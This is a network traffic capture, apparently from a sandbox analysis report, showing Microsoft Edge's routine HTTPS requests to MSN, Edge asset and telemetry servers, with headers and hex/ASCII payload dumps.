2024-11-19 23:19:24 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	62060	20.110.205.119	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:24 UTC	1261	OUT	GET /c.gif?rnd=1732058361924&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=93ba126bd035450b89c4cab3de518f3d&activityId=93ba126bd035450b89c4cab3de518f3d&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=9E073CD59E374ED597FF7213122604B2&MUID=045B60278D93687D3610751B8C3B691E HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=045B60278D93687D3610751B8C3B691E; _EDGE_S=F=1&SID=1B18497342CD6CE2124A5C4F435B6D72; _EDGE_V=1; SM=T
2024-11-19 23:19:24 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=045B60278D93687D3610751B8C3B691E; domain=.msn.com; expires=Sun, 14-Dec-2025 23:19:24 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=045B60278D93687D3610751B8C3B691E; domain=c.msn.com; expires=Sun, 14-Dec-2025 23:19:24 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Tue, 26-Nov-2024 23:19:24 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Tue, 19-Nov-2024 23:29:24 GMT; path=/; SameSite=None; Secure; Date: Tue, 19 Nov 2024 23:19:23 GMT Connection: close Content-Length: 42
2024-11-19 23:19:24 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	62063	13.107.246.40	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:24 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:24 UTC	576	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:24 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: 6d0a41fb-101e-005a-68d3-3a6e86000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241119T231924Z-r1d97b99577hsvhhhC1TEByb1w00000002a0000000009fv6 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 23:19:24 UTC	15808	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-19 23:19:24 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-19 23:19:24 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-19 23:19:24 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-19 23:19:24 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	62065	20.96.153.111	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:24 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=045B60278D93687D3610751B8C3B691E&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=3e16dd974af14c2ad71c742e5505afa2 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=045B60278D93687D3610751B8C3B691E; _EDGE_S=F=1&SID=1B18497342CD6CE2124A5C4F435B6D72; _EDGE_V=1
2024-11-19 23:19:24 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2715 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132720-T700343875-C128000000002113629+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002113629+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 19 Nov 2024 23:19:23 GMT Connection: close
2024-11-19 23:19:24 UTC	2715	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 6f 72 61 6e 67 65 2d 66 69 6e 20 63 6c 6f 77 6e 66 69 73 68 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 6f 72 61 6e 67 65 2d 66 69 6e Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"orange-fin clownfish\",\"cta\":\"https:\/\/www.bing.com\/search?q=orange-fin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	62062	20.189.173.10	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:24 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732058361922&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3805 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=045B60278D93687D3610751B8C3B691E; _EDGE_S=F=1&SID=1B18497342CD6CE2124A5C4F435B6D72; _EDGE_V=1
2024-11-19 23:19:24 UTC	3805	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 39 54 32 33 3a 31 39 3a 32 31 2e 39 31 37 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 32 61 64 66 30 32 38 66 2d 38 39 32 37 2d 34 33 37 62 2d 39 37 61 64 2d 30 32 65 31 38 33 63 35 66 37 32 32 22 2c 22 65 70 6f 63 68 22 3a 22 32 38 38 32 36 30 38 34 35 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-19T23:19:21.917Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"2adf028f-8927-437b-97ad-02e183c5f722","epoch":"2882608450"},"app":{"locale
2024-11-19 23:19:24 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=7f9cd37d43984e26bee4c23d68a458d7&HASH=7f9c&LV=202411&V=4&LU=1732058364308; Domain=.microsoft.com; Expires=Wed, 19 Nov 2025 23:19:24 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=588438ea118e460295c324b4512bb991; Domain=.microsoft.com; Expires=Tue, 19 Nov 2024 23:49:24 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2386 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 19 Nov 2024 23:19:23 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	62066	13.107.246.40	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:24 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:24 UTC	577	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:24 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 82fa33c4-201e-003f-7aa4-3adfdb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241119T231924Z-1777c6cb754xrr98hC1TEB3kag00000008gg00000000n7cz Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 23:19:24 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-19 23:19:24 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-19 23:19:24 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-19 23:19:24 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: 